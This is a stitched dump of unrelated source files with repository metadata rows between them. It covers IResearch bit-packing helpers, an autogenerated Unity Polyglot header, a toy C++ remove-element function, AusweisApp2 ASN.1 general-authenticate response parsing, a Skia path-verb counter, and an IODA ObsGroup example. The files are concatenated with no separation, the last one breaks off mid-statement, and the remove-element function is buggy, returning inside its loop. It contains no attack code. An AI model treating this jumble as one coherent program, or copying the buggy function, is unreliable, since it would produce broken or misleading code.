in.seek(in.file_pointer() + packed::bytes_required_64(size, bits)); } } // writes block of 'size' 32 bit integers to a stream // all values are equal -> RL encoding, // otherwise -> bit packing // returns number of bits used to encoded the block (0 == RL) template<typename PackFunc> uint32_t write_block32( PackFunc&& pack, data_output& out, const uint32_t* RESTRICT decoded, uint32_t size, uint32_t* RESTRICT encoded) { assert(size); assert(encoded); assert(decoded); if (simd::all_equal<false>(decoded, size)) { out.write_byte(ALL_EQUAL); out.write_vint(*decoded); return ALL_EQUAL; } // prior AVX2 scalar version works faster for 32-bit values #ifdef HWY_CAP_GE256 const uint32_t bits = simd::maxbits<false>(decoded, size); #else const uint32_t bits = packed::maxbits32(decoded, decoded + size); #endif assert(bits); const size_t buf_size = packed::bytes_required_32(size, bits); std::memset(encoded, 0, buf_size); pack(decoded, encoded, size, bits); out.write_byte(static_cast<byte_type>(bits & 0xFF)); out.write_bytes(reinterpret_cast<byte_type*>(encoded), buf_size); return bits; } // writes block of 'Size' 32 bit integers to a stream // all values are equal -> RL encoding, // otherwise -> bit packing // returns number of bits used to encoded the block (0 == RL) template<size_t Size, typename PackFunc> uint32_t write_block32( PackFunc&& pack, data_output& out, const uint32_t* RESTRICT decoded, uint32_t* RESTRICT encoded) { static_assert(Size); assert(encoded); assert(decoded); if (simd::all_equal<false>(decoded, Size)) { out.write_byte(ALL_EQUAL); out.write_vint(*decoded); return ALL_EQUAL; } // prior AVX2 scalar version works faster for 32-bit values #ifdef HWY_CAP_GE256 const uint32_t bits = simd::maxbits<Size, false>(decoded); #else const uint32_t bits = packed::maxbits32(decoded, decoded + Size); #endif assert(bits); const size_t buf_size = packed::bytes_required_32(Size, bits); std::memset(encoded, 0, buf_size); pack(decoded, encoded, bits); out.write_byte(static_cast<byte_type>(bits & 0xFF)); out.write_bytes(reinterpret_cast<byte_type*>(encoded), buf_size); return bits; } // writes block of 'size' 64 bit integers to a stream // all values are equal -> RL encoding, // otherwise -> bit packing // returns number of bits used to encoded the block (0 == RL) template<typename PackFunc> uint32_t write_block64( PackFunc&& pack, data_output& out, const uint64_t* RESTRICT decoded, uint64_t size, uint64_t* RESTRICT encoded) { assert(size); assert(encoded); assert(decoded); if (simd::all_equal<false>(decoded, size)) { out.write_byte(ALL_EQUAL); out.write_vint(*decoded); return ALL_EQUAL; } // scalar version is always faster for 64-bit values const uint32_t bits = packed::maxbits64(decoded, decoded + size); const size_t buf_size = packed::bytes_required_64(size, bits); std::memset(encoded, 0, buf_size); pack(decoded, encoded, size, bits); out.write_byte(static_cast<byte_type>(bits & 0xFF)); out.write_bytes(reinterpret_cast<const byte_type*>(encoded), buf_size); return bits; } // writes block of 'Size' 64 bit integers to a stream // all values are equal -> RL encoding, // otherwise -> bit packing // returns number of bits used to encoded the block (0 == RL) template<size_t Size, typename PackFunc> uint32_t write_block64( PackFunc&& pack, data_output& out, const uint64_t* RESTRICT decoded, uint64_t* RESTRICT encoded) { static_assert(Size); return write_block64(std::forward<PackFunc>(pack), out, decoded, Size, encoded); } // reads block of 'Size' 32 bit integers from the stream // that was previously encoded with the corresponding // 'write_block32' function template<size_t Size, typename UnpackFunc> void read_block32( UnpackFunc&& unpack, data_input& in, uint32_t* RESTRICT encoded, uint32_t* RESTRICT decoded) { static_assert(Size); assert(encoded); assert(decoded); const uint32_t bits = in.read_byte(); if (ALL_EQUAL == bits) { std::fill_n(decoded, Size, in.read_vint()); } else { const size_t required = packed::bytes_required_32(Size, bits); const auto* buf = in.read_buffer(required, BufferHint::NORMAL); if (buf) { unpack(decoded, reinterpret_cast<const uint32_t*>(buf), bits); return; } #ifdef IRESEARCH_DEBUG const auto read = in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); assert(read == required); UNUSED(read); #else in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); #endif // IRESEARCH_DEBUG unpack(decoded, encoded, bits); } } // reads block of 'size' 32 bit integers from the stream // that was previously encoded with the corresponding // 'write_block32' function template<typename UnpackFunc> void read_block32( UnpackFunc&& unpack, data_input& in, uint32_t* RESTRICT encoded, uint32_t size, uint32_t* RESTRICT decoded) { assert(size); assert(encoded); assert(decoded); const uint32_t bits = in.read_byte(); if (ALL_EQUAL == bits) { std::fill_n(decoded, size, in.read_vint()); } else { const size_t required = packed::bytes_required_32(size, bits); const auto* buf = in.read_buffer(required, BufferHint::NORMAL); if (buf) { unpack(decoded, reinterpret_cast<const uint32_t*>(buf), size, bits); return; } #ifdef IRESEARCH_DEBUG const auto read = in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); assert(read == required); UNUSED(read); #else in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); #endif // IRESEARCH_DEBUG unpack(decoded, encoded, size, bits); } } // reads block of 'Size' 64 bit integers from the stream // that was previously encoded with the corresponding // 'write_block64' function template<size_t Size, typename UnpackFunc> void read_block64( UnpackFunc&& unpack, data_input& in, uint64_t* RESTRICT encoded, uint64_t* RESTRICT decoded) { static_assert(Size); assert(encoded); assert(decoded); const uint32_t bits = in.read_byte(); if (ALL_EQUAL == bits) { std::fill_n(decoded, Size, in.read_vlong()); } else { const size_t required = packed::bytes_required_64(Size, bits); const auto* buf = in.read_buffer(required, BufferHint::NORMAL); if (buf) { unpack(decoded, reinterpret_cast<const uint64_t*>(buf), bits); return; } #ifdef IRESEARCH_DEBUG const auto read = in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); assert(read == required); UNUSED(read); #else in.read_bytes( reinterpret_cast<byte_type*>(encoded), required); #endif // IRESEARCH_DEBUG unpack(decoded, encoded, bits); } } } // bitpack } // iresearch #endif // IRESEARCH_BITPACK_H
27.936047
82
0.661394
geenen124
721255ad57354655e55fb97d74dae1a9ec15c863
8,168
hpp
C++
include/codegen/include/Polyglot/Localization.hpp
Futuremappermydud/Naluluna-Modifier-Quest
bfda34370764b275d90324b3879f1a429a10a873
[ "MIT" ]
1
2021-11-12T09:29:31.000Z
2021-11-12T09:29:31.000Z
include/codegen/include/Polyglot/Localization.hpp
Futuremappermydud/Naluluna-Modifier-Quest
bfda34370764b275d90324b3879f1a429a10a873
[ "MIT" ]
null
null
null
include/codegen/include/Polyglot/Localization.hpp
Futuremappermydud/Naluluna-Modifier-Quest
bfda34370764b275d90324b3879f1a429a10a873
[ "MIT" ]
2
2021-10-03T02:14:20.000Z
2021-11-12T09:29:36.000Z
// Autogenerated from CppHeaderCreator on 7/27/2020 3:10:10 PM // Created by Sc2ad // ========================================================================= #pragma once #pragma pack(push, 8) // Begin includes #include "utils/typedefs.h" // Including type: UnityEngine.ScriptableObject #include "UnityEngine/ScriptableObject.hpp" // Including type: Polyglot.Language #include "Polyglot/Language.hpp" #include "utils/il2cpp-utils.hpp" // Completed includes // Begin forward declares // Forward declaring namespace: Polyglot namespace Polyglot { // Forward declaring type: LocalizationDocument class LocalizationDocument; // Forward declaring type: LocalizationAsset class LocalizationAsset; // Forward declaring type: LanguageDirection struct LanguageDirection; // Forward declaring type: ILocalize class ILocalize; } // Forward declaring namespace: System::Collections::Generic namespace System::Collections::Generic { // Forward declaring type: List`1<T> template<typename T> class List_1; // Forward declaring type: List`1<T> template<typename T> class List_1; // Forward declaring type: List`1<T> template<typename T> class List_1; } // Forward declaring namespace: UnityEngine::Events namespace UnityEngine::Events { // Forward declaring type: UnityEvent class UnityEvent; } // Forward declaring namespace: System namespace System { // Forward declaring type: String class String; } // Forward declaring namespace: UnityEngine namespace UnityEngine { // Forward declaring type: SystemLanguage struct SystemLanguage; } // Completed forward declares // Type namespace: Polyglot namespace Polyglot { // Autogenerated type: Polyglot.Localization class Localization : public UnityEngine::ScriptableObject { public: // static field const value: static private System.String KeyNotFound static constexpr const char* KeyNotFound = "[{0}]"; // Get static field: static private System.String KeyNotFound static ::Il2CppString* _get_KeyNotFound(); // Set static field: static private System.String KeyNotFound static void _set_KeyNotFound(::Il2CppString* value); // private Polyglot.LocalizationDocument customDocument // Offset: 0x18 Polyglot::LocalizationDocument* customDocument; // private System.Collections.Generic.List`1<Polyglot.LocalizationAsset> inputFiles // Offset: 0x20 System::Collections::Generic::List_1<Polyglot::LocalizationAsset*>* inputFiles; // Get static field: static private Polyglot.Localization instance static Polyglot::Localization* _get_instance(); // Set static field: static private Polyglot.Localization instance static void _set_instance(Polyglot::Localization* value); // private System.Collections.Generic.List`1<Polyglot.Language> supportedLanguages // Offset: 0x28 System::Collections::Generic::List_1<Polyglot::Language>* supportedLanguages; // private Polyglot.Language selectedLanguage // Offset: 0x30 Polyglot::Language selectedLanguage; // private Polyglot.Language fallbackLanguage // Offset: 0x34 Polyglot::Language fallbackLanguage; // public UnityEngine.Events.UnityEvent Localize // Offset: 0x38 UnityEngine::Events::UnityEvent* Localize; // public Polyglot.LocalizationDocument get_CustomDocument() // Offset: 0x18FE2B0 Polyglot::LocalizationDocument* get_CustomDocument(); // public System.Collections.Generic.List`1<Polyglot.LocalizationAsset> get_InputFiles() // Offset: 0x18FE2B8 System::Collections::Generic::List_1<Polyglot::LocalizationAsset*>* get_InputFiles(); // static public Polyglot.Localization get_Instance() // Offset: 0x18FDE24 static Polyglot::Localization* get_Instance(); // static public System.Void set_Instance(Polyglot.Localization value) // Offset: 0x18FE374 static void set_Instance(Polyglot::Localization* value); // static private System.Boolean get_HasInstance() // Offset: 0x18FE2C0 static bool get_HasInstance(); // public System.Collections.Generic.List`1<Polyglot.Language> get_SupportedLanguages() // Offset: 0x18FE3CC System::Collections::Generic::List_1<Polyglot::Language>* get_SupportedLanguages(); // public Polyglot.LanguageDirection get_SelectedLanguageDirection() // Offset: 0x18FE3D4 Polyglot::LanguageDirection get_SelectedLanguageDirection(); // private Polyglot.LanguageDirection GetLanguageDirection(Polyglot.Language language) // Offset: 0x18FE3E8 Polyglot::LanguageDirection GetLanguageDirection(Polyglot::Language language); // public System.Int32 get_SelectedLanguageIndex() // Offset: 0x18FE104 int get_SelectedLanguageIndex(); // public Polyglot.Language get_SelectedLanguage() // Offset: 0x18FE404 Polyglot::Language get_SelectedLanguage(); // public System.Void set_SelectedLanguage(Polyglot.Language value) // Offset: 0x18FE40C void set_SelectedLanguage(Polyglot::Language value); // private System.Boolean IsLanguageSupported(Polyglot.Language language) // Offset: 0x18FE4F4 bool IsLanguageSupported(Polyglot::Language language); // public System.Void InvokeOnLocalize() // Offset: 0x18FE574 void InvokeOnLocalize(); // public System.Collections.Generic.List`1<System.String> get_EnglishLanguageNames() // Offset: 0x18FE090 System::Collections::Generic::List_1<::Il2CppString*>* get_EnglishLanguageNames(); // public System.Collections.Generic.List`1<System.String> get_LocalizedLanguageNames() // Offset: 0x18FE824 System::Collections::Generic::List_1<::Il2CppString*>* get_LocalizedLanguageNames(); // public System.String get_EnglishLanguageName() // Offset: 0x18FE898 ::Il2CppString* get_EnglishLanguageName(); // public System.String get_LocalizedLanguageName() // Offset: 0x18FE910 ::Il2CppString* get_LocalizedLanguageName(); // public System.Void SelectLanguage(System.Int32 selected) // Offset: 0x18FE958 void SelectLanguage(int selected); // public System.Void SelectLanguage(Polyglot.Language selected) // Offset: 0x18FE9E0 void SelectLanguage(Polyglot::Language selected); // public Polyglot.Language ConvertSystemLanguage(UnityEngine.SystemLanguage selected) // Offset: 0x18FE9E4 Polyglot::Language ConvertSystemLanguage(UnityEngine::SystemLanguage selected); // public System.Void AddOnLocalizeEvent(Polyglot.ILocalize localize) // Offset: 0x18FDEB0 void AddOnLocalizeEvent(Polyglot::ILocalize* localize); // public System.Void RemoveOnLocalizeEvent(Polyglot.ILocalize localize) // Offset: 0x18FEA20 void RemoveOnLocalizeEvent(Polyglot::ILocalize* localize); // static public System.String Get(System.String key) // Offset: 0x18FE8E0 static ::Il2CppString* Get(::Il2CppString* key); // static public System.String Get(System.String key, Polyglot.Language language) // Offset: 0x18FEB0C static ::Il2CppString* Get(::Il2CppString* key, Polyglot::Language language); // static public System.Boolean KeyExist(System.String key) // Offset: 0x18FEF90 static bool KeyExist(::Il2CppString* key); // static public System.Collections.Generic.List`1<System.String> GetKeys() // Offset: 0x18FF044 static System::Collections::Generic::List_1<::Il2CppString*>* GetKeys(); // static public System.String GetFormat(System.String key, System.Object[] arguments) // Offset: 0x18FF12C static ::Il2CppString* GetFormat(::Il2CppString* key, ::Array<::Il2CppObject*>* arguments); // public System.Boolean InputFilesContains(Polyglot.LocalizationDocument doc) // Offset: 0x18FF184 bool InputFilesContains(Polyglot::LocalizationDocument* doc); // public System.Void .ctor() // Offset: 0x18FF2E8 // Implemented from: UnityEngine.ScriptableObject // Base method: System.Void ScriptableObject::.ctor() // Base method: System.Void Object::.ctor() // Base method: System.Void Object::.ctor() static Localization* New_ctor(); }; // Polyglot.Localization } DEFINE_IL2CPP_ARG_TYPE(Polyglot::Localization*, "Polyglot", "Localization"); #pragma pack(pop)
44.879121
95
0.74192
Futuremappermydud
7215cbdbc703bcc44e22f5d219ead3294b583958
459
cpp
C++
C++/removeEle.cpp
iamsuryakant/100-days-of-code
eaf4863d98dc273f03a989fe87d010d201d91516
[ "MIT" ]
1
2020-07-04T12:45:50.000Z
2020-07-04T12:45:50.000Z
C++/removeEle.cpp
iamsuryakant/100-days-of-code
eaf4863d98dc273f03a989fe87d010d201d91516
[ "MIT" ]
1
2020-08-08T02:23:46.000Z
2020-08-08T02:47:56.000Z
C++/removeEle.cpp
iamsuryakant/100-days-of-code
eaf4863d98dc273f03a989fe87d010d201d91516
[ "MIT" ]
null
null
null
#include<bits/stdc++.h> using namespace std; int removeElement(vector<int> &nums, int val) { vector<int>::iterator it; vector<int>::iterator it1; it = remove(nums.begin(), nums.end(), val); for (it1 = nums.begin(); it1 != it; ++it1) { return *it1; } return 0; } int main(){ vector<int> v = {0,1,2,2,3,0,4,2}; removeElement(v,2); for(int i = 0; i<v.size(); i++) { cout <<v[i]<<" "; } }
14.34375
47
0.509804
iamsuryakant
7216f12742269155c1f49beb7958282761681f5d
7,185
cpp
C++
src/card/base/GeneralAuthenticateResponse.cpp
Governikus/AusweisApp2-Omapi
0d563e61cb385492cef96c2542d50a467e003259
[ "Apache-2.0" ]
1
2019-06-06T11:58:51.000Z
2019-06-06T11:58:51.000Z
src/card/base/GeneralAuthenticateResponse.cpp
ckahlo/AusweisApp2-Omapi
5141b82599f9f11ae32ff7221b6de3b885e6e5f9
[ "Apache-2.0" ]
1
2022-01-28T11:08:59.000Z
2022-01-28T12:05:33.000Z
src/card/base/GeneralAuthenticateResponse.cpp
ckahlo/AusweisApp2-Omapi
5141b82599f9f11ae32ff7221b6de3b885e6e5f9
[ "Apache-2.0" ]
3
2019-06-06T11:58:14.000Z
2021-11-15T23:32:04.000Z
/*! * \copyright Copyright (c) 2015-2019 Governikus GmbH & Co. KG, Germany */ #include "asn1/ASN1Util.h" #include "GeneralAuthenticateResponse.h" #include <QLoggingCategory> using namespace governikus; Q_DECLARE_LOGGING_CATEGORY(card) GAResponseApdu::GAResponseApdu() : ResponseApdu() { } void GAResponseApdu::setBuffer(const QByteArray& pBuffer) { ResponseApdu::setBuffer(pBuffer); StatusCode statusCode = getReturnCode(); if (statusCode != StatusCode::SUCCESS) { qCCritical(card) << "Avoid parsing of the general authentication data because of StatusCode" << statusCode; return; } parseDynamicAuthenticationData(getData()); } namespace governikus { ASN1_SEQUENCE(ga_encryptednoncedata_st) = { ASN1_IMP(ga_encryptednoncedata_st, mEncryptedNonce, ASN1_OCTET_STRING, 0x00) } ASN1_SEQUENCE_END(ga_encryptednoncedata_st) ASN1_ITEM_TEMPLATE(GA_ENCRYPTEDNONCEDATA) = ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_IMPTAG | ASN1_TFLG_APPLICATION, 0x1C, GA_ENCRYPTEDNONCEDATA, ga_encryptednoncedata_st) ASN1_ITEM_TEMPLATE_END(GA_ENCRYPTEDNONCEDATA) IMPLEMENT_ASN1_FUNCTIONS(GA_ENCRYPTEDNONCEDATA) IMPLEMENT_ASN1_OBJECT(GA_ENCRYPTEDNONCEDATA) } // namespace governikus void GAEncryptedNonceResponse::parseDynamicAuthenticationData(const QByteArray& pDynamicAuthenticationData) { auto data = decodeObject<GA_ENCRYPTEDNONCEDATA>(pDynamicAuthenticationData); if (data == nullptr) { qCCritical(card) << "Cannot parse encrypted nonce, return empty byte array"; return; } mEncryptedNonce = Asn1OctetStringUtil::getValue(data->mEncryptedNonce); } GAEncryptedNonceResponse::GAEncryptedNonceResponse() : GAResponseApdu() , mEncryptedNonce() { } const QByteArray& GAEncryptedNonceResponse::getEncryptedNonce() { return mEncryptedNonce; } namespace governikus { ASN1_SEQUENCE(ga_mapnoncedata_st) = { ASN1_IMP(ga_mapnoncedata_st, mMappingData, ASN1_OCTET_STRING, 0x02) } ASN1_SEQUENCE_END(ga_mapnoncedata_st) ASN1_ITEM_TEMPLATE(GA_MAPNONCEDATA) = ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_IMPTAG | ASN1_TFLG_APPLICATION, 0x1C, GA_MAPNONCEDATA, ga_mapnoncedata_st) ASN1_ITEM_TEMPLATE_END(GA_MAPNONCEDATA) IMPLEMENT_ASN1_FUNCTIONS(GA_MAPNONCEDATA) IMPLEMENT_ASN1_OBJECT(GA_MAPNONCEDATA) } // namespace governikus void GAMapNonceResponse::parseDynamicAuthenticationData(const QByteArray& pDynamicAuthenticationData) { auto data = decodeObject<GA_MAPNONCEDATA>(pDynamicAuthenticationData); if (data == nullptr) { qCCritical(card) << "Cannot parse mapping data, return empty byte array"; return; } mMappingData = Asn1OctetStringUtil::getValue(data->mMappingData); } GAMapNonceResponse::GAMapNonceResponse() : GAResponseApdu() , mMappingData() { } const QByteArray& GAMapNonceResponse::getMappingData() { return mMappingData; } namespace governikus { ASN1_SEQUENCE(ga_performkeyagreementdata_st) = { ASN1_IMP(ga_performkeyagreementdata_st, mEphemeralPublicKey, ASN1_OCTET_STRING, 0x04) } ASN1_SEQUENCE_END(ga_performkeyagreementdata_st) ASN1_ITEM_TEMPLATE(GA_PERFORMKEYAGREEMENTDATA) = ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_IMPTAG | ASN1_TFLG_APPLICATION, 0x1C, GA_PERFORMKEYAGREEMENTDATA, ga_performkeyagreementdata_st) ASN1_ITEM_TEMPLATE_END(GA_PERFORMKEYAGREEMENTDATA) IMPLEMENT_ASN1_FUNCTIONS(GA_PERFORMKEYAGREEMENTDATA) IMPLEMENT_ASN1_OBJECT(GA_PERFORMKEYAGREEMENTDATA) } // namespace governikus void GAPerformKeyAgreementResponse::parseDynamicAuthenticationData(const QByteArray& pDynamicAuthenticationData) { auto data = decodeObject<GA_PERFORMKEYAGREEMENTDATA>(pDynamicAuthenticationData); if (data == nullptr) { qCCritical(card) << "Cannot parse ephemeral public key, return empty byte array"; return; } mEphemeralPublicKey = Asn1OctetStringUtil::getValue(data->mEphemeralPublicKey); } GAPerformKeyAgreementResponse::GAPerformKeyAgreementResponse() : GAResponseApdu() , mEphemeralPublicKey() { } const QByteArray& GAPerformKeyAgreementResponse::getEphemeralPublicKey() { return mEphemeralPublicKey; } namespace governikus { ASN1_SEQUENCE(ga_mutualauthenticationdata_st) = { ASN1_IMP(ga_mutualauthenticationdata_st, mAuthenticationToken, ASN1_OCTET_STRING, 0x06), ASN1_IMP_OPT(ga_mutualauthenticationdata_st, mCarCurr, ASN1_OCTET_STRING, 0x07), ASN1_IMP_OPT(ga_mutualauthenticationdata_st, mCarPrev, ASN1_OCTET_STRING, 0x08), } ASN1_SEQUENCE_END(ga_mutualauthenticationdata_st) ASN1_ITEM_TEMPLATE(GA_MUTUALAUTHENTICATIONDATA) = ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_IMPTAG | ASN1_TFLG_APPLICATION, 0x1C, GA_MUTUALAUTHENTICATIONDATA, ga_mutualauthenticationdata_st) ASN1_ITEM_TEMPLATE_END(GA_MUTUALAUTHENTICATIONDATA) IMPLEMENT_ASN1_FUNCTIONS(GA_MUTUALAUTHENTICATIONDATA) IMPLEMENT_ASN1_OBJECT(GA_MUTUALAUTHENTICATIONDATA) } // namespace governikus void GAMutualAuthenticationResponse::parseDynamicAuthenticationData(const QByteArray& pDynamicAuthenticationData) { auto data = decodeObject<GA_MUTUALAUTHENTICATIONDATA>(pDynamicAuthenticationData); if (data == nullptr) { qCCritical(card) << "Cannot parse authentication token, return empty byte array"; return; } mAuthenticationToken = Asn1OctetStringUtil::getValue(data->mAuthenticationToken); mCarCurr = Asn1OctetStringUtil::getValue(data->mCarCurr); mCarPrev = Asn1OctetStringUtil::getValue(data->mCarPrev); qDebug() << "mCarCurr" << mCarCurr; qDebug() << "mCarPrev" << mCarPrev; } GAMutualAuthenticationResponse::GAMutualAuthenticationResponse() : GAResponseApdu() , mAuthenticationToken() , mCarCurr() , mCarPrev() { } const QByteArray& GAMutualAuthenticationResponse::getAuthenticationToken() { return mAuthenticationToken; } const QByteArray& GAMutualAuthenticationResponse::getCarCurr() { return mCarCurr; } const QByteArray& GAMutualAuthenticationResponse::getCarPrev() { return mCarPrev; } namespace governikus { ASN1_SEQUENCE(ga_chipauthenticationdata_st) = { ASN1_IMP(ga_chipauthenticationdata_st, mNonce, ASN1_OCTET_STRING, 0x01), ASN1_IMP(ga_chipauthenticationdata_st, mAuthenticationToken, ASN1_OCTET_STRING, 0x02), } ASN1_SEQUENCE_END(ga_chipauthenticationdata_st) ASN1_ITEM_TEMPLATE(GA_CHIPAUTHENTICATIONDATA) = ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_IMPTAG | ASN1_TFLG_APPLICATION, 0x1C, GA_CHIPAUTHENTICATIONDATA, ga_chipauthenticationdata_st) ASN1_ITEM_TEMPLATE_END(GA_CHIPAUTHENTICATIONDATA) IMPLEMENT_ASN1_FUNCTIONS(GA_CHIPAUTHENTICATIONDATA) IMPLEMENT_ASN1_OBJECT(GA_CHIPAUTHENTICATIONDATA) } // namespace governikus void GAChipAuthenticationResponse::parseDynamicAuthenticationData(const QByteArray& pDynamicAuthenticationData) { auto data = decodeObject<GA_CHIPAUTHENTICATIONDATA>(pDynamicAuthenticationData); if (data == nullptr) { qCCritical(card) << "Cannot parse chip authentication token, return empty byte array"; return; } mNonce = Asn1OctetStringUtil::getValue(data->mNonce); mAuthenticationToken = Asn1OctetStringUtil::getValue(data->mAuthenticationToken); } GAChipAuthenticationResponse::GAChipAuthenticationResponse() : GAResponseApdu() , mNonce() , mAuthenticationToken() { } const QByteArray& GAChipAuthenticationResponse::getNonce() { return mNonce; } const QByteArray& GAChipAuthenticationResponse::getAuthenticationToken() { return mAuthenticationToken; }
24.690722
133
0.821434
Governikus
72181b8d23c8c05b700194a1085c55c3f70500a5
1,497
cpp
C++
docs/examples/count_verbs.cpp
mohad12211/skia
042a53aa094715e031ebad4da072524ace316744
[ "BSD-3-Clause" ]
6,304
2015-01-05T23:45:12.000Z
2022-03-31T09:48:13.000Z
docs/examples/count_verbs.cpp
mohad12211/skia
042a53aa094715e031ebad4da072524ace316744
[ "BSD-3-Clause" ]
67
2016-04-18T13:30:02.000Z
2022-03-31T23:06:55.000Z
docs/examples/count_verbs.cpp
mohad12211/skia
042a53aa094715e031ebad4da072524ace316744
[ "BSD-3-Clause" ]
1,231
2015-01-05T03:17:39.000Z
2022-03-31T22:54:58.000Z
// Copyright 2020 Google LLC. // Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. #include "tools/fiddle/examples.h" REG_FIDDLE(count_verbs, 256, 256, false, 0) { #include "include/utils/SkTextUtils.h" static SkPath make_path(const SkFont& font) { SkPath path; const char text[] = "SKIA"; SkTextUtils::GetPath(text, strlen(text), SkTextEncoding::kUTF8, 0, 0, font, &path); return path; } static void count_verbs(const SkPath& path, int counts[6]) { SkPath::Iter it(path, false); for (int i = 0; i < 6; ++i) { counts[i] = 0; } while (true) { SkPoint pts[4]; SkPath::Verb verb = it.next(pts); if (verb == SkPath::kDone_Verb) { break; } if ((unsigned)verb < 6) { counts[(unsigned)verb]++; } } } void draw(SkCanvas* canvas) { SkFont font(SkTypeface::MakeFromName("DejaVu Sans Mono", SkFontStyle()), 30); SkPath path = make_path(font); int counts[6]; count_verbs(path, counts); // output results: const char* verbs[6] = {"Move", "Line", "Quad", "Conic", "Cubic", "Close"}; SkPoint pt = SkPoint::Make(10.0f, 5.0f + font.getSpacing()); SkPaint p; canvas->clear(SK_ColorWHITE); for (int i = 0; i < 6; ++i) { canvas->drawString(SkStringPrintf("%-5s %3d", verbs[i], counts[i]), pt.fX, pt.fY, font, p); pt.fY += font.getSpacing(); } } } // END FIDDLE
30.55102
100
0.583834
mohad12211
7218cd9b1bb2200cc5bc6da3bd7e94a6b954870a
17,880
cpp
C++
src/engines/Examples/Basic/05b-ObsGroupAppend.cpp
Gibies/ioda
5bd372e548eb61d5f7b56a0b3d4cf0ca05e49e75
[ "Apache-2.0" ]
1
2021-06-09T16:11:50.000Z
2021-06-09T16:11:50.000Z
src/engines/Examples/Basic/05b-ObsGroupAppend.cpp
Gibies/ioda
5bd372e548eb61d5f7b56a0b3d4cf0ca05e49e75
[ "Apache-2.0" ]
null
null
null
src/engines/Examples/Basic/05b-ObsGroupAppend.cpp
Gibies/ioda
5bd372e548eb61d5f7b56a0b3d4cf0ca05e49e75
[ "Apache-2.0" ]
3
2021-06-09T16:12:02.000Z
2021-11-14T09:19:25.000Z
/* * (C) Copyright 2020-2021 UCAR * * This software is licensed under the terms of the Apache Licence Version 2.0 * which can be obtained at http://www.apache.org/licenses/LICENSE-2.0. */ /*! \addtogroup ioda_cxx_ex * * @{ * * \defgroup ioda_cxx_ex_5b Ex 5b: Appending to ObsGroups * \brief Appending to ObsGroups * \see 05b-ObsGroupAppend.cpp for comments and the walkthrough. * * @{ * * \file 05b-ObsGroupAppend.cpp * \brief ObsGroup * * The ObsGroup class is derived from the Group class and provides some help in * organizing your groups, variables, attributes and dimension scales into a cohesive * structure intended to house observation data. In this case "structure" refers to the * hierarchical layout of the groups and the proper management of dimension scales * associated with the variables. * * The ObsGroup and underlying layout policies (internal to ioda-engines) present a stable * logical group hierarchical layout to the client while keeping the actual layout implemented * in the backend open to change. The logical "frontend" layout appears to the client to be * as shown below: * * layout notes * * / top-level group * nlocs dimension scales (variables, coordinate values) * nchans * ... * ObsValue/ group: observational measurement values * brightness_temperature variable: Tb, 2D, nlocs X nchans * air_temperature variable: T, 1D, nlocs * ... * ObsError/ group: observational error estimates * brightness_temperature * air_temperature * ... * PreQC/ group: observational QC marks from data provider * brightness_temperature * air_temperature * ... * MetaData/ group: meta data associated with locations * latitude * longitude * datetime * ... * ... * * It is intended to keep this layout stable so that the client interface remains stable. * The actual layout used in the various backends can optionally be organized differently * according to their needs. * * The ObsGroup class also assists with the management of dimension scales. For example, if * a dimension is resized, the ObsGroup::resize function will resize the dimension scale * along with all variables that use that dimension scale. * * The basic ideas is to dimension observation data with nlocs as the first dimension, and * allow nlocs to be resizable so that it's possible to incrementally append data along * the nlocs (1st) dimension. For data that have rank > 1, the second through nth dimensions * are of fixed size. For example, brightness_temperature can be store as 2D data with * dimensions (nlocs, nchans). * * \author Stephen Herbener (stephenh@ucar.edu), Ryan Honeyager (honeyage@ucar.edu) **/ #include <array> // Arrays are fixed-length vectors. #include <iomanip> // std::setw #include <iostream> // We want I/O. #include <numeric> // std::iota #include <string> // We want strings #include <valarray> // Like a vector, but can also do basic element-wise math. #include <vector> // We want vectors #include "Eigen/Dense" // Eigen Arrays and Matrices #include "ioda/Engines/Factory.h" // Used to kickstart the Group engine. #include "ioda/Exception.h" // Exceptions and debugging #include "ioda/Group.h" // Groups have attributes. #include "ioda/ObsGroup.h" #include "unsupported/Eigen/CXX11/Tensor" // Eigen Tensors int main(int argc, char** argv) { using namespace ioda; // All of the ioda functions are here. using std::cerr; using std::endl; using std::string; using std::vector; try { // It's possible to transfer data in smaller pieces so you can, for example, avoid // reading the whole input file into memory. Transferring by pieces can also be useful // when you don't know a priori how many locations are going to be read in. To accomplish // this, you set the maximum size of the nlocs dimension to Unlimited and use the // ObsSpace::generate function to allocate more space at the end of each variable for // the incoming section. // // For this example, we'll use the same data as in example 05a, but transfer it to // the backend in four pieces, 10 locations at a time. // Create the backend. For this code we are using a factory function, // constructFromCmdLine, made for testing purposes, which allows one to specify // a backend from the command line using the "--ioda-engine-options" option. // // There exists another factory function, constructBackend, which allows you // to create a backend without requiring the command line option. The signature // for this function is: // // constructBackend(BackendNames, BackendCreationParameters &); // // // BackendNames is an enum type with values: // Hdf5File - file backend using HDF5 file // ObsStore - in-memory backend // // BackendCreationParameters is a C++ structure with members: // fileName - string, used for file backend // // actions - enum BackendFileActions type: // Create - create a new file // Open - open an existing file // // createMode - enum BackendCreateModes type: // Truncate_If_Exists - overwrite existing file // Fail_If_Exists - throw exception if file exists // // openMode - enum BackendOpenModes types: // Read_Only - open in read only mode // Read_Write - open in modify mode // // Here are some code examples: // // Create backend using an hdf5 file for writing: // // Engines::BackendNames backendName; // backendName = Engines::BackendNames::Hdf5File; // // Engines::BackendCreationParameters backendParams; // backendParams.fileName = fileName; // backendParams.action = Engines::BackendFileActions::Create; // backendParams.createMode = Engines::BackendCreateModes::Truncate_If_Exists; // // Group g = constructBackend(backendName, backendParams); // // Create backend using an hdf5 file for reading: // // Engines::BackendNames backendName; // backendName = Engines::BackendNames::Hdf5File; // // Engines::BackendCreationParameters backendParams; // backendParams.fileName = fileName; // backendParams.action = Engines::BackendFileActions::Open; // backendParams.openMode = Engines::BackendOpenModes::Read_Only; // // Group g = constructBackend(backendName, backendParams); // // Create an in-memory backend: // // Engines::BackendNames backendName; // backendName = Engines::BackendNames::ObsStore; // // Engines::BackendCreationParameters backendParams; // // Group g = constructBackend(backendName, backendParams); // // Create the backend using the command line construct function Group g = Engines::constructFromCmdLine(argc, 